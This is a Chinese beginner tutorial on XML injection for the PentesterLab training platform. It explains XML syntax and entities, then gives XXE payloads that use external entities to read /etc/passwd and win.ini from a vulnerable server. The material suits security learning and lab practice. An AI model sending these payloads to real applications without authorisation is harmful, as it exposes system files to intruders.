PentesterLab新手教程(二):XML注入
作者:CQITer小编 时间:2018-04-28 01:33
Web for pentester是国外安全研究者开发的的一款渗透测试平台,个人感觉还是不错的,但是国内基本上搜不到教程,官网上的教程确实有点价格不菲,所以在此打算写一个pentesterLab 的全套教程,PentesterLab 上面的web漏洞感觉比较典型而且比较基础非常适合新手,因为本教程面向新手,所以有些地方别嫌我啰嗦,嘿嘿。
系列教程:PentesterLab新手教程(一):代码注入
前言这篇文章将要讲的是XML attacks这个模块。
XML无处不在,它存在于web应用的服务器中,或者在浏览器中作为XMLHttpRequest的请求和应答的格式,亦或在浏览器的扩展程序中。由于应用广泛,XML成为了吸引注入攻击的目标。它受众广,同时常用的XML解析器,例如libxml2,允许对XML进行一些默认处理。libxml2常在DOM、SimpleXML和XMLReader扩展中的PHP中使用。当浏览器的XML交换很频繁时,我们要考虑到,XML作为请求格式时,就算是认证用户,也有可能正通过跨站脚本攻击发送攻击者所编写的XML。
XML允许用户在XML文档内自定义实体,以此来扩展其标准实体集。这些自定义实体可以直接写在可选的DOCTYPE中,而它们代表的扩展值则可引用一个外部资源。正是普通XML的这种支持自定义引用、可引用外部资源内容的可扩展性,导致系统易受XXE的攻击。
鉴于本篇文章是面向新同学的,那我们就循序渐进,先说一下XML的基本语法,由浅入深得分析XML注入。
什么是XML?XML 指可扩展标记语言(EXtensible Markup Language)
XML 是一种标记语言,很类似 HTML
XML 的设计宗旨是传输数据,而非显示数据
XML 标签没有被预定义。您需要自行定义标签。
XML 被设计为具有自我描述性。
XML 是 W3C 的推荐标准
XML基本语法一个简单的XML文档
XML使用简单的具有自我描述性的语法:
<?xml version="1.0" encoding="ISO-8859-1"?> <note> <to>George</to> <from>John</from> <heading>Reminder</heading> <body>Don't forget the meeting!</body> </note>第一行是 XML 声明。它定义 XML 的版本 (1.0) 和所使用的编码 (ISO-8859-1 = Latin-1/西欧字符集)。
下一行描述文档的根元素(像在说:“本文档是一个便签”):
<note>接下来 4 行描述根的 4 个子元素(to, from, heading 以及 body):
<to>George</to> <from>John</from> <heading>Reminder</heading> <body>Don't forget the meeting!</body>最后一行定义根元素的结尾:
</note>从本例可以设想,该 XML 文档包含了 John 给 George 的一张便签。
注:
XML 文档必须包含根元素。该元素是所有其他元素的父元素。
XML 文档中的元素形成了一棵文档树。这棵树从根部开始,并扩展到树的最底端。
XML所有的标签都必须关闭
<p>This is a paragraph</p>XML对大小写敏感
<Message>这是错误的。</message><message>这是正确的。</message>
XML属性值需要加引号
错误: <note date=08/08/2008> <to>George</to> <from>John</from> </note> 正确: <note date="08/08/2008"> <to>George</to> <from>John</from> </note>上面说完了基础知识下面要说重点了:
ENTITY实体:
如果在XML文档中需要频繁使用某一条数据,我们可以预先给这个数据起一个别名。即一个ENTITY,然后再在文档中调用它。
XML定义了两种类型的ENTITY,一种在XML文档中使用,另一种在为参数在DTD文件中使用。
ENTITY的定义语法:
<!DOCTYPE 文件名 [ <!ENTITY 实体名 "实体内容"> ]> 定义好的ENTITY在文档中通过“&实体名;”来使用。这里举一个例子:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE balabala [ <!ENTITY name "Tom" > ]> <root> <name>&name;</name> </root>定义一个name值为“Tom”,就可以在XML任何地方引用。
正常来说,DTD分为内部DTD与外部DTD,内部DTD包含在XML文档中,外部DTD则通过URL引用.一个DTD文件是以.dtd结尾的文本文件 。前面还要加上SYSTEM,但是如果此处没有任何过滤,我们完全可以引用系统敏感文件的,前提是页面有回显,否则你只引用了文件但不知道文件内容。
下面分别写一个简单的Windows下和Linux下的构造(主要就是读取文件位置不同)。
window:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE balabala [ <!ENTITY name SYSTEM "file:///c:/windows/win.ini" > ]> <name>&name;</name>Linux:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE balabala [ <!ENTITY name SYSTEM "file:///etc/passwd" > ]> <name>&name;</name>



